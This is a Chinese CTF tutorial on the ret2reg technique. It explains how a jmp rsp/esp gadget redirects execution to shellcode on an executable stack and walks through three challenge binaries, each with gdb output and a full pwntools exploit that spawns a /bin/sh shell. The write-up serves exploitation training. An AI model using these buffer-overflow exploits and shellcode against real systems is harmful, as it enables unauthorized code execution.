当前位置: 首页 > news >正文

ret2reg

利用原理

ret2reg,即返回到寄存器地址进行攻击,可以绕过地址混淆(ASLR)。

一般用于开启ASLR的ret2shellcode题型,在函数执行后,传入的参数在栈中传给某寄存器,然而该函数在结束前并未将该寄存器复位,就导致这个寄存器仍还保存着参数,当这个参数是shellcode时,只要程序中存在jmp/call reg代码片段时,即可通过gadget跳转至该寄存器执行shellcode。

该攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后来的运行过程中不会修改。

只要在函数ret之前将相关寄存器复位掉,便可以避免此漏洞。

利用思路

主要在于找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg这样的指令

  1. 分析和调试程序,查看溢出函数返回时哪个寄存值指向传入的shellcode
  2. 查找call regjmp reg,将指令所在的地址填到EIP位置,即返回地址
  3. reg指向的空间上注入shellcode

例题

rsp_shellcode

source

#include <stdio.h>int test = 0;int main() {char input[100];puts("Get me with shellcode and RSP!");gets(input);if(test) {asm("jmp *%rsp");return 0;}else {return 0;}
}

查保护

没有NX和canary以及PIE保护,即栈可执行。

	Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX unknown - GNU_STACK missingPIE:      No PIE (0x400000)Stack:    ExecutableRWX:      Has RWX segments

分析

分析源代码发现很明显的栈溢出漏洞,并且溢出字节没有限制。

源代码中还内嵌了一个jmp rsp的汇编指令,猜测要通过ret2reg的方式打shellcode。

gdb调试发现在函数返回的时候rsp仍然指向缓冲区地址。

这样我们可以通过将返回地址即下面这条指令的地址覆盖为jmp rsp来让rip指向缓冲区,然后我们再发送shellcode让程序执行shellcode。

先执行jmp rsp再发送shellcode是因为程序可以溢出很长的字节,我们可以先将rip指向缓冲区然后再发送shellcode执行。

*RSP  0x7fffffffcd78 —▸ 0x7ffff7da8d90 (__libc_start_call_main+128) ◂— mov edi, eax

exp

#!/usr/bin/env python3
from pwncli import *
cli_script()io: tube = gift.io
elf: ELF = gift.elf#查找程序gadget
jmp_rsp = next(elf.search(asm('jmp rsp')))payload = flat(b'a' * 120,  jmp_rsp,      asm(shellcraft.sh())     
)
sla("RSP!\n",payload)
ia()

X-CTF Quals 2016 - b0verfl0w

查保护

32位程序无NX、canary以及PIE保护,栈可执行。

	Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX unknown - GNU_STACK missingPIE:      No PIE (0x8048000)Stack:    ExecutableRWX:      Has RWX segments

分析

ida反编译

程序限制读取50个字节,所以我们只能溢出18个字节,所以并不能进行上题的利用方法。

int vul()
{char s[32]; // [esp+18h] [ebp-20h] BYREFputs("\n======================");puts("\nWelcome to X-CTF 2016!");puts("\n======================");puts("What's your name?");fflush(stdout);fgets(s, 50, stdin);printf("Hello %s.", s);fflush(stdout);return 1;
}

gdb动调调试发现rsp指向缓冲区。

*ESP  0xffffbe4c —▸ 0x8048519 (main+11) ◂— leave

我们无法直接返回执行很长的shellcode,但是可以通过较短的汇编指令将栈帧进行一个迁移。

迁移到一个我们想要它执行的地方,比如payload的前部分。

exp

#!/usr/bin/env python3
from pwncli import *
cli_script()io: tube = gift.io
elf: ELF = gift.elfshellcode=asm("""
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
push 11
pop eax
int 0x80
""")jmp_esp = next(elf.search(asm('jmp esp')))
payload = shellcode + (0x20 - len(shellcode)) * b'a' + b'aaaa' + p32(jmp_esp) + asm('sub esp, 0x28;jmp esp')
sl(payload)ia()

[广东省大学生攻防大赛 2022]jmp_rsp

64位程序无NX、PIE保护,栈可执行。

程序显示存在canary保护。

查保护

	Arch:     amd64-64-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX unknown - GNU_STACK missingPIE:      No PIE (0x400000)Stack:    ExecutableRWX:      Has RWX segments

分析程序

ida反编译

发现程序存在栈溢出,并且程序并没有进行canary检查。

所以这个canary是假的。

int __fastcall main(int argc, const char **argv, const char **envp)
{char v3; // clchar buf[128]; // [rsp+0h] [rbp-80h] BYREFprintf("this is a classic pwn", argv, envp, v3);read(0, buf, 0x100uLL);return 0;
}

gdb动调调试发现rsp指向栈空间。

同样,让rsp进行一个迁移即可。

*RSP  0x7fffffffcf68 —▸ 0x401119 (__libc_start_main+777) ◂— mov edi, eax

exp

#!/usr/bin/env python3
from pwncli import *
cli_script()io: tube = gift.io
elf: ELF = gift.elfjmp_rsp = next(elf.search(asm('jmp rsp')))
payload = asm(shellcraft.sh()).ljust(0x88, b'\x00') + p64(jmp_rsp) + asm('sub rsp, 0x90; jmp rsp')
sl(payload)ia()

后言

题目链接:例题链接
参考链接:Using RSP | Cybersec (gitbook.io)


http://www.mrgr.cn/news/54644.html

相关文章:

  • [网络协议篇] ICMP协议
  • 如何使用Git推送本地搭建的仓库以及远程克隆的仓库
  • 视频网站开发:Spring Boot框架的高效实现
  • C++实现循环队列和链式队列操作(实验5--作业)
  • msvcp140.dll丢失的解决方法吃鸡
  • 多IP连接
  • 分布式缓存的基本概念入门以及如何保证数据一致性
  • Mysql数据库压缩版的卸载、安装及初始化
  • c++ 对象作用域
  • Java 类和对象详解(下)
  • Leetcode 3327. Check if DFS Strings Are Palindromes
  • 【动态规划】【路径问题】下降路经最小和、最小路径和、地下城游戏
  • 15. 三数之和 双指针经典题目
  • 【MySQL】to_date()日期转换
  • 模拟器芯片巨头 ADI 亚德诺半导体 Analog Devices 产品的应用介绍和物料推荐(六)
  • 【软件工程】过程和生命周期的建模
  • Android常用C++特性之std::bind
  • ArkTS 中Tabs 页签内引入页面的 onPageShow和onPageHide 没有执行,是什么原因?怎么解决?
  • python语言入门必须要学习的模块化编程案例游戏---画图案例(三)【源码大全】
  • 前端大佬都在用的useFetcher究竟有多强?
  • 医院信息化与智能化系统(3)
  • Atlas800昇腾服务器(型号:3000)—YOLO全系列NPU推理【跟踪】(八)
  • LeetCode Hot 100
  • 公交线路查询web管理系统||公交线路查询|基于SprinBoot+vue公交线路查询系统(源码+数据库+文档)
  • 第十七周:机器学习笔记
  • 音频/视频提取器:Python和moviepy实现